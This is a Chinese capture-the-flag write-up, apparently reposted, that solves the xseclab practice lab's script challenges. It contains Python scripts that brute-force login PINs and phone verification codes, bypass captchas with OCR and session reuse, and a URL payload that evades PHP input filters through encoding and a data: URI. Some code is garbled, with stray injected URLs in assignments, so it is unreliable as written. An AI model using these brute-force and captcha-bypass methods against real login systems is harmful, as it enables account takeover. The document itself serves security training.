网络安全实验室|网络安全实验室脚本关通关writeup 网络安全实验室脚本关通关w

[1]key又又找不到了
查看源代码。发现key的路径，点击进行了302跳转，抓包，得到key

文章图片

文章图片

[2]快速口算
要2秒内提交答案，果断上python

import requests,re s = requests.Session()url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php' html = s.get(url).contentreg = r'([0-9].+)=<'num = eval(re.findall(reg,html)[0]) data = https://www.it610.com/article/{'v': num} print s.post(url, data=https://www.it610.com/article/data).content

文章图片

[3]这个题目是空的
null
【网络安全实验室|网络安全实验室脚本关通关writeup】[4]怎么就是不弹出key呢？
js代码，学习后补充
[5]逗比验证码第一期
用burp进行抓包，发解现验证码只是验证一次，第二次后就会失去作用。果断暴力破解

文章图片

文章图片

[6]逗比验证码第二期
burp抓包。发现验证码每次都需要要做。干脆直接删除验证码。进行暴力破解

文章图片

[7]逗比的验证码第三期（SESSION）
直接跑代码

import requests s = requests.Session() url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php" header = {"Cookie": "PHPSESSID=09462a3c9f8553aa536d87ab8b3c6614"}for pwd in range(1000,10000): payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''} r = s.post(url,headers=header,data=https://www.it610.com/article/payload).content if r.count("key"): print r,pwd

文章图片

[8]微笑一下就能过关了
查看源代码，发现源码

发现必须满足以下条件
1.必须对"^_^"赋值
2."^_^"的值不能有 . % [0-9] http https ftp telnet 这些东西
3.$_SERVER['QUERY_STRING'],即"^_^=(输入的值)"这个字符串不能有 _ 这个字符
4.满足$smile!=0
5.file_exists ($_GET['^_^'])必须为0.也就是$_GET['^_^']此文件不存在
6."$smile"必须等于"(●'?'●)".也就是file_get_contents($_GET['^_^'])必须为"(●'?'●)"
1和3矛盾，对"_"进行url编码。4可以忽略。5文件不存在，6又要读出文件，说明只能自己写入或者包含

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,(●'?'●)
得到key

文章图片

[9]逗比的手机验证码
查看验证码，发现弹出一个验证码。转到另外一个页面，有一个手机号。看样子要登录，重新获取自己手机的验证码，对新手机号进行登录。登录成功，拿到KEY
[10]基情燃烧的岁月
两次爆破验证码就可以了
[11]验证码识别

from pytesser import * import requests import oscur_path = os.getcwd() vcode_path = os.path.join(cur_path, 'vcode.png') header = {'Cookie': 'PHPSESSID=896861c59678e89611bb675ff33facb1'}def vcode(): pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php' r = requests.get(pic_url, headers=header) with open(vcode_path, 'wb') as pic: pic.write(r.content) im=Image.open('vcode.png') text=image_to_string(im) v=text[0:4].replace('O','0').replace('o','0').replace('l','1') if len(v)==4 and v.isdigit(): return v else: return 0url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php' for i in range(100, 1000): while 1: code = vcode() if code: break data = https://www.it610.com/article/{'username': '13388886666', 'mobi_code': str(i), 'user_code': code} r = requests.post(url, data=https://www.it610.com/article/data, headers=header, timeout=10) print'm_vode=%su_vcode=%s%s' %(i,code,r.content)

[12],[13],[14],[15]
xss。学习了补上
转载于:https://www.cnblogs.com/Elope/p/6527534.html